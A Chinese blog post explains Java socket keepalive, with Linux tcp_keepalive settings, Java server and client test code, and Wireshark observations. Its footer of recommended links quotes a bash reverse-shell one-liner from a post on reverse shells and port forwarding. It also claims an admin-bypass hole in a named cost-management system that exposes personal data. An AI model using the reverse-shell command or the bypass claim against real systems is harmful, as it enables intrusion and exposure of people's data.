java socket编程中有个keepalive选项,看到这个选项经常会误解为长连接,不设置则为短连接,实则不然。

socket连接建立之后,只要双方均未主动关闭连接,那这个连接就是会一直保持的,就是持久的连接。keepalive只是为了防止连接的双方发生意外而通知不到对方,导致一方还持有连接,占用资源。

其实这个选项的意思是TCP连接空闲时是否需要向对方发送探测包,实际上是依赖于底层的TCP模块实现的,java中只能设置是否开启,不能设置其详细参数,只能依赖于系统配置。

首先看看源码里面是怎么说的

源码的意思是,如果这个连接上双方任意方向在2小时之内没有发送过数据,那么tcp会自动发送一个探测探测包给对方,这种探测包对方是必须回应的,回应结果有三种:

1.正常ack,继续保持连接;

2.对方响应rst信号,双方重新连接。

3.对方无响应。

这里说的两小时,其实是依赖于系统配置,在linux系统中(windows在注册表中,可以自行查询资料),tcp的keepalive参数

net.ipv4.tcp_keepalive_intvl = 75 (发送探测包的周期,前提是当前连接一直没有数据交互,才会以该频率进行发送探测包,如果中途有数据交互,则会重新计时tcp_keepalive_time,到达规定时间没有数据交互,才会重新以该频率发送探测包)
net.ipv4.tcp_keepalive_probes = 9  (探测失败的重试次数,发送探测包达次数限制对方依旧没有回应,则关闭自己这端的连接)
net.ipv4.tcp_keepalive_time = 7200 (空闲多长时间,则发送探测包)

为了能验证所说的,我们来进行测试一下,本人测试环境是客户端在本地windows上,服务端是在远程linux上,主要测试服务器端向客户端发送探测包(客户端向服务端发送是一样的原理)。

首先需要装一个抓包工具,本人用的wireshark;

然后修改一下tcp_keepalive_time系统配置,改成1分钟,2小时太长了,难等,其余配置不变。修改方法:执行sysctl -w net.ipv4.tcp_keepalive_time=60进行修改,执行sysctl -p刷新配置生效;

最后写一个服务器端和一个客户端,分别启动。

服务器端代码如下(java8):

  1. import java.io.IOException;
  2. import java.io.InputStream;
  3. import java.io.OutputStream;
  4. import java.net.ServerSocket;
  5. import java.net.Socket;
  6.  
  7. public class Server {
  8. public static void main(String[] args) throws IOException {
  9. ServerSocket ss = new ServerSocket(12345);
  10. while (true) {
  11. Socket socket = ss.accept();
  12. new Thread(() -> {
  13. try {
  14. socket.setKeepAlive(true);
  15. socket.setReceiveBufferSize(8 * 1024);
  16. socket.setSendBufferSize(8 * 1024);
  17. InputStream is = socket.getInputStream();
  18. OutputStream os = socket.getOutputStream();
  19. try {
  20. byte[] bytes = new byte[1024];
  21. while (is.read(bytes) > -1) {
  22. System.out.println(System.currentTimeMillis() + " received message: " + new String(bytes, "UTF-8").trim());
  23. os.write("ok".getBytes("UTF-8"));
  24. os.flush();
  25. bytes = new byte[1024];
  26. }
  27. } catch (IOException e) {
  28. e.printStackTrace();
  29. } finally {
  30. if (!socket.isInputShutdown()) {
  31. socket.shutdownInput();
  32. }
  33. if (!socket.isOutputShutdown()) {
  34. socket.shutdownOutput();
  35. }
  36. if (!socket.isClosed()) {
  37. socket.close();
  38. }
  39. }
  40. } catch (IOException e) {
  41. e.printStackTrace();
  42. }
  43. }).start();
  44. }
  45. }
  46. }

客户端代码如下:

  1. public class Client {
  2. public static void main(String[] args) throws IOException, InterruptedException {
  3. Socket socket = new Socket("192.168.16.84", 12345);
  4. socket.setKeepAlive(true);
  5. socket.setSendBufferSize(8192);
  6. socket.setReceiveBufferSize(8192);
  7. InputStream is = socket.getInputStream();
  8. OutputStream os = socket.getOutputStream();
  9. os.write("get test-key".getBytes("UTF-8"));
  10. os.flush();
  11. Thread.sleep(155 * 1000L);
  12. os.write("get test-key".getBytes("UTF-8"));
  13. os.flush();
  14. byte[] bytes = new byte[1024];
  15. while (is.read(bytes) > -1) {
  16. System.out.println(System.currentTimeMillis() + " received message: " + new String(bytes, "UTF-8").trim());
  17. bytes = new byte[1024];
  18. }
  19. if (!socket.isOutputShutdown()) {
  20. socket.shutdownOutput();
  21. }
  22. if (!socket.isInputShutdown()) {
  23. socket.shutdownInput();
  24. }
  25. if (!socket.isClosed()) {
  26. socket.close();
  27. }
  28. }
  29. }

分别启动服务端和客户端之后,抓包工具抓到的数据:

可以看到,60秒时服务器发送了探测包,探测客户端是否正常,客户端正常响应了,之后以tcp_keepalive_intvl(75秒)的周期进行发送,可以看到135秒又进行发送了探测包。

但是因为我们客户端的代码是在155秒重新发送了数据,所以需要继续空闲60秒,直到215秒才继续发送探测包,后续没有数据交互,所以还是以75秒间隔频率进行发送探测包。从抓包的数据上很容易看出来。

keepalive默认是关闭的,下面我们把服务器端的socket.setKeepAlive(true)一行注释掉的抓包结果:

可以看到服务器端没有向客户端发送探测包,其实客户端设置了socket.setKeepAlive(true),客户端在7355(7200+155)秒时应该会向服务器发送探测包(我把程序挂了2小时。。。结果如下)

验证无误。

socket keepalive理解的更多相关文章

  1. linux中socket的理解

    对linux中socket的理解 一.socket 一般来说socket有一个别名也叫做套接字. socket起源于Unix,都可以用“打开open –> 读写write/read –> ...

  2. Socket 的理解及实例

    Socket 的理解及实例Socket 的理解TCP/IP要想理解socket首先得熟悉一下TCP/IP协议族, TCP/IP(Transmission Control Protocol/Intern ...

  3. php socket 简单理解

    以下内容转自:https://www.cnblogs.com/loveyoume/p/6076101.html 和 https://www.cnblogs.com/WuNaiHuaLuo/p/6107 ...

  4. 对socket的理解

    要想理解socket,就得先熟悉TCP/IP协议族,TCP/IP(Transmission Control Protocol/Internet Protocol)即传输控制协议/网间协议,定义了主机如 ...

  5. python socket 的理解(1)

    前言 socket的用法简单,但里面的概念有点模糊,记录自己本人的一点理解. socket层结构图 注意,从此图中看出socket处于tcp和应用层之间.那么它代表啥意思呢?简明的说,数据的传输都是底 ...

  6. linux中socket的理解---4

    一.socket 一般来说socket有一个别名也叫做套接字. socket起源于Unix,都可以用“打 开open –> 读写write/read –> 关闭close”模式来操作.So ...

  7. 对Swoole、Workerman和php自带的socket的理解

    为什么php自带的socket不怎么听说,基本都是用swoole,workerman去实现? 1.PHP的socket扩展是一套socket api,仅此而已. swoole,用C实现,它的socke ...

  8. TCP/IP Socket 的理解

         网络由下往上分为:物理层.数据链路层.网络层.传输层.会话层.表示层和应用层.      TCP 协议对应于传输层,HTTP 协议对应应用层,Socket 则是对 TCP/IP 协议的封装. ...

  9. TCP/IP、Http、Socket 简单理解

    转自:http://blog.csdn.net/guyan0319 https://blog.csdn.net/guyan0319/article/details/79404216 一. 什么是TCP ...

随机推荐

  1. 【转载】SSH协议及其应用

    原文作者:阮一峰 链接: http://www.ruanyifeng.com/blog/2011/12/ssh_remote_login.html http://www.ruanyifeng.com/ ...

  2. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  3. 数据类型 varchar 和 uniqueidentifier 在 add 运算符中不兼容

    select '<a href="/'+a.id +'" title="'+ a.title +'">'+a.Title+'</a>' ...

  4. 小程序之 input框设置placeholder的style

    <input placeholder='></input>

  5. 在webstorm中配置sass的自动编译,并且可以指定编译后的css的目录.

    参考: WebStorm-2018.2-Help-Sass, Less, and SCSS 作者:tobyDing链接:https://www.jianshu.com/p/0fe52f149cab來源 ...

  6. 【架构设计】Android:配置式金字塔架构

    最近做一个项目,在项目搭建之前,花了些许时间去思考一下如何搭建一个合适的架构.一开始的构思是希望能合理的把应用的各部分进行分离,使其像金字塔一样从上往下,下层为上层提供功能. 在平常项目中,总是有很多 ...

  7. Appium + Python环境搭建(移动端自动化)

    安装JDK,配置JDK环境    百度搜索下载就行,这里分享一个下载链接:https://pan.baidu.com/s/1snuTOAx 密码:9z8r. 下载好后点击进行安装.安装好后进行环境变量 ...

  8. Django中ORM介绍和字段及字段参数

    Object Relational Mapping(ORM) 1 ORM介绍 1.1 ORM概念 对象关系映射(Object Relational Mapping,简称ORM)模式是一种为了解决面向对 ...

  9. append导致TypeError: 'NoneType' object is not iterable

    a=[1,2,3] a.append(4) a Out[4]: [1, 2, 3, 4] a=a.append(5) print(a) None a =[1,2,3] print(a.append(4 ...

  10. 中国建设工程造价管理系统 http://zaojiasys.jianshe99.com/cecaopsys/

    建造师造价管理系统漏洞提示: 可以绕过,直接进入后台,为了安全起见,我就不多说了,. 里面的数据,从小学,中学,高中,大学,户口,电话,身份等, 很全, 本人没有破坏任何数据,